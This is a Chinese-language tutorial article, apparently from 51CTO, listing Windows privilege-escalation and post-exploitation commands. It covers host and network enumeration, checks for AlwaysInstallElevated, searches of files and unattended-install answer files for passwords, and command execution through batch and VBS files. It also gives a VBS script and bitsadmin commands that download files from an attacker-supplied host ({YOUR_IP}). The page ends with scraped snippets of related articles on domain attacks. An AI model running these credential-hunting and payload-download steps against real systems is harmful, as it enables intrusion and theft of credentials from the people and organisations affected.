Windows内网渗透提权的几个实用命令

这不是一篇渗透测试指导,而是简单介绍了几个Windows内网提权的实用命令,以供我等菜鸟学习观摩,还望大牛包涵指导。

1.获取操作系统信息

识别操作系统名称及版本:


  1. C:\Users\thel3l> systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  
  2. OS Name: Microsoft Windows 10 Pro 
  3. OS Version: 10.0.14393 N/A Build 14393 

当然中文系统你得这样:


  1. systeminfo | findstr /B /C:"OS 名称" /C:"OS 版本" 

识别系统体系结构:


  1. C:\Users\thel3l> echo %PROCESSOR_ARCHITECTURE%  
  2. AMD64 

查看所有环境变量:


  1. C:\Users\thel3l> SET 
  2. USERNAME=thel3l 
  3. USERPROFILE=C:\Users\thel3l 
  4. *snip* 

查看某特定用户信息:


  1. C:\Users\thel3l>net user thel3l  
  2. User name thel3l 
  3. *snip* 
  4. The command completed successfully 

2.获取网络信息

查看路由表信息:


  1. C:\Users\thel3l> route print 

查看ARP缓存信息:


  1. C:\Users\thel3l> arp -A 

查看防火墙规则:


  1. C:\Users\thel3l> netstat -ano  
  2. C:\Users\thel3l> netsh firewall show config  
  3. C:\Users\thel3l> netsh firewall show state  

3.应用程序及服务信息

查看计划任务:


  1. C:\Users\thel3l> schtasks /QUERY /fo LIST /v 

中文系统的命令,先调整GBK编码为437美国编码:


  1. chcp 437 

然后


  1. schtasks /QUERY /fo LIST /v 

查看服务进程ID:


  1. C:\Users\thel3l> tasklist /SVC 

查看安装驱动:


  1. C:\Users\thel3l> DRIVERQUERY 

查看安装程序和版本信息(漏洞利用线索):


  1. C:\Users\thel3l> wmic product list brief 

查看服务、进程和启动程序信息:


  1. C:\Users\thel3l> wmic service list brief 
  2. C:\Users\thel3l> wmic process list brief 
  3. C:\Users\thel3l> wmic startup list brief 

查看.msi程序的执行权限:


  1. C:\Users\thel3l> reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 
  2. C:\Users\thel3l> reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer /v AlwaysInstallElevated 

查看是否设置有setuid和setgid:


  1. C:\Users\thel3l>reg query HKEY_Local_Machine\System\CurrentControlSet\Services\NfsSvr\Parameters\SafeSetUidGidBits 

查看安装补丁和时间信息:


  1. C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn 

查看特定漏洞补丁信息:


  1. C:\Users\thel3l> wmic qfe get Caption,Description,HotFixID,InstalledOn | findstr /C:"KBxxxxxxx" 

4.敏感数据和目录

查找密码文件或其它敏感文件:


  1. C:\Users\thel3l> cd/ 
  2. C:\Users\thel3l> dir /b/s password.txt  
  3. C:\Users\thel3l> dir /b/s config.*  
  4. C:\Users\thel3l> findstr /si password *.xml *.ini *.txt 
  5. C:\Users\thel3l> findstr /si login *.xml *.ini *.txt 

无人值守安装文件:

这些文件通常包含base64模式的密码信息。这类文件在一些大型企业网络或GHO系统中可以发现,文件通常的位置如下:


  1. C:\sysprep.inf 
  2. C:\sysprep\sysprep.xml 
  3. C:\Windows\Panther\Unattend\Unattended.xml  
  4. C:\Windows\Panther\Unattended.xml 

5.文件系统

可以通过调用系统预安装程序语言查看当前可访问目录或文件权限,如python下:


  1. import os; os.system("cmd /c {command here}") 

使用copy con命令创建ftp执行会话:

范例


  1. C:\Users\thel3l> copy con ftp.bat #创建一个名为ftp.bat的批处理文件  
  2. ftp # 输入执行会话名称,按回车到下一行,之后按CTRL+Z结束编辑,再按回车退出  
  3. C:\Users\thel3l> ftp.bat # 执行创建的文件  
  4. ftp> # 执行ftp命令  
  5. ftp> !{command} # e.g. - !dir or !ipconfig 

使用copy con命令创建VBS脚本文件:


  1. C:\Users\thel3l> copy con commandExec.vbs #创建VBS脚本文件  
  2. Call WScript.CreateObject("Wscript.Shell").Run("cmd /K {command}", 8, True) #VBS文件内容  
  3. C:\Users\thel3l> commandExec.vbs #执行脚本文件 

检查文件夹可写状态:


  1. C:\Users\thel3l> dir /a-r-d /s /b 

6.一个有用的文件上传脚本


  1. ' downloadfile.vbs   
  2. ' Set your settings  
  3. strFileURL = "http://{YOUR_IP}/{FILE_NAME.EXT}"  
  4. strHDLocation = "c:\\{FILE_NAME.EXT}"  
  5. ' Fetch the file  
  6. Set objXMLHTTP = CreateObject("MSXML2.XMLHTTP")  
  7. objXMLHTTP.open "GET", strFileURL, false  
  8. objXMLHTTP.send()  
  9. If objXMLHTTP.Status = 200 Then  
  10. Set objADOStream = CreateObject("ADODB.Stream")  
  11. objADOStream.Open  
  12. objADOStream.Type = 1 'adTypeBinary  
  13. objADOStream.Write objXMLHTTP.ResponseBody  
  14. objADOStream.Position = 0 'Set the stream position to the start 
  15. Set objFSO = Createobject("Scripting.FileSystemObject")  
  16. If objFSO.Fileexists(strHDLocation) Then objFSO.DeleteFile strHDLocation  
  17. Set objFSO = Nothing  
  18. objADOStream.SaveToFile strHDLocation  
  19. objADOStream.Close  
  20. Set objADOStream = Nothing  
  21. End if  
  22. Set objXMLHTTP = Nothing 

该脚本是一个社区发布的,你可以以下这种方式运行它:


  1. C:\Users\thel3l>cscript.exe downloadfile.vbs 

bitsadmin命令:

如果你的目标系统是Windows 7及以上操作系统,你可以使用bitsadmin命令,bitsadmin是一个命令行工具,可用于创建下载上传进程:

范例


  1. C:\Users\thel3l> bitsadmin /transfer job_name /download /priority priority URL local\path\file  
  2.  
  3. C:\Users\thel3l> bitsadmin /transfer mydownloadjob /download /priority normal ^ http://{YOUR_IP}/{FILE_NAME.EXT}  
  4.  
  5. C:\Users\username\Downloads\{FILE_NAME.EXT} 

如:


  1. bitsadmin /transfer n http://download.fb.com/file/xx.zip c:\pentest\xx.zip 

作者:clouds

来源:51CTO

时间: 2024-09-12 05:05:06

Windows内网渗透提权的几个实用命令的相关文章

强大的内网域渗透提权分析工具——BloodHound

本文讲的是强大的内网域渗透提权分析工具--BloodHound, 简介和背景 在今年二月,我发布了一个名为" PowerPath " 的POC脚本,它整合了Will Schroeder的PowerView和Justin Warner的本地管理员衍生工具,图形理论以及Jim Truher(@jwtruher)为证明可以自动执行Active Directory域渗透权限升级分析思路而使用PowerShell实现的Dijkstra算法程序.以下的一些人员和项目给予了我很大的帮助: Sam B

域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍

本文讲的是域渗透提权分析工具 BloodHound 1.3 中的ACL攻击路径介绍, 简介和背景 2014年,Emmanuel Gras和Lucas Bouillot在" 信息通信技术研讨会"(Symposium on Information and Communications)上发表了题为" Chemins decontrôleen environement Active Directory "("Active Directory 控制路径"

关于用pagekite实现linux内网渗透远程控制电脑的疑问

问题描述 关于用pagekite实现linux内网渗透远程控制电脑的疑问 本人纯菜,基本不动linux,有一台别人不用的linux机子,在家做下载机,想在办公室远程控制,但是家里无法获得公网ip,于是网上查说是可以做内网穿透什么的,可以用花生壳或ngrok,后来看了看还是最后发现还是ngrok的方法靠谱,但是无奈被墙,于是又发现了一个类似ngrok的pagekite.http://pagekite.net/ 上面介绍说可以.(每个月2G流量而且网速挺快感觉比花生壳要好,省了花生棒的钱)于是这样做

内网渗透-----如何打开突破口_安全教程

内网渗透的思想是源于特洛伊木马的思想---堡垒最容易从内部攻破,一个大型的网站,一个大型的公司,一个大型的目标,在外肉,管理员总会千方百计的加强防范和修补漏洞,常规的方法进去几乎是不可能. 内网渗透的突破口是我们如何得到一个内网的个人机或是内网的服务器,我个人的经验有三种,一是从外网分站渗透到内网,二是发木马信得到内网机器,三是利用取得信任得到内网机器. 一.从外网分站渗透到内网   通常一个大的站点都有很多分站,有很多我们未知的分站或是未知的站点目录,越大的站点展现在我们面前的机会就越多,可以

内网渗透防御:如何防御Hash注入攻击

渗透测试人员对Pass-the-Hash(PtH)攻击都很熟悉.我们常在渗透测试中用到它.如果你的职责包括网络入侵防御,你至少应该了解其攻击方法.不管你有多少经验,你对问题了解得可能不深,或许还不知道它是怎么解决的,注意是"解决"而不是"修复". 概述 攻击者通过一定办法获取了Windows计算机的本地管理员权限,可以在内存中寻找其它本地或域内账户登录后的hash,因为电脑正在运行.这些hash可以"传递"(不需要破解)给其它的计算机或者服务,作

记一次内网渗透测试经历

话说刚开始接触安全测试时,没有一个系统的概念,前辈仍一个内网测试网站,让我把的shell拿下来,那我就开始吭哧吭哧的干起来. 首先,做渗透测试要有个思路,不能埋头苦干.所以就开始理了下思路,具体如下: 判断有无sql注入点,根据sql注入点来判断数据库类型,若是mssqlserver则查看存储过程xp_cmdshell 查看其是否被禁用,若没有被禁用,则直接在注入点后面直接使用xp_cmdshell 存储过程向系统中添加权限. 判断是否有上传漏洞,主要是上传asp等一句话脚本,先得到webshe

BT5里Metasploit内网渗透实验

exploit/windows/smb/psexec 使用 BT5 破解入侵内部网络 目标IP地址192.168.111.135 (windows server 2003 sp2) bt5 的IP地址192.168.111.134 入侵条件:知道目标机器的ip  用户名  密码 因为非法测试是不允许的,所以我在虚拟机里面实验 首先,我们来查看bt5和win2k3的ip地址 进入msfconsole进行渗透实验 实验使用的漏洞是exploit/windows/smb/psexec

5.如何使主机和虚拟机IP处于同一网段(内网渗透专用)

先说一下正常流程: 1.打开虚拟机网络设置选项,选择桥接模式(Bridged)[如果是Kali 2.0的话,执行第一步后就OK了(90%)] 2.打开Kali里面的网络设置 3.设置一个ip4或者ip6的网络 4.设置网络,具体看箭头,ip设置在同一个网段就好了,其他的跟pc设置一样的 重启一下就ok了 +++++++++++++++++++++++++++++++++++++++++++++++++++++++ 有些绿化版的vware不管怎么设置都不行,这时候安装新的虚拟机就ok了,我送一个:

内网域渗透之无管理员权限的重要信息搜集

本文讲的是内网域渗透之无管理员权限的重要信息搜集,经常被遗忘(或被误解)的一个事实是,大多数对象及其属性可以被验证的用户(通常是域用户)查看(或读取).管理员可能会认为,由于通过管理工具(如"Active Directory用户和计算机"(dsa.msc)或"Active Directory管理中心"(dsac.msc))可以轻松访问此数据,因此其他人就无法查看用户数据(超出了Outlook的GAL中暴露的内容).这通常导致密码数据被放置在用户对象属性或SYSVOL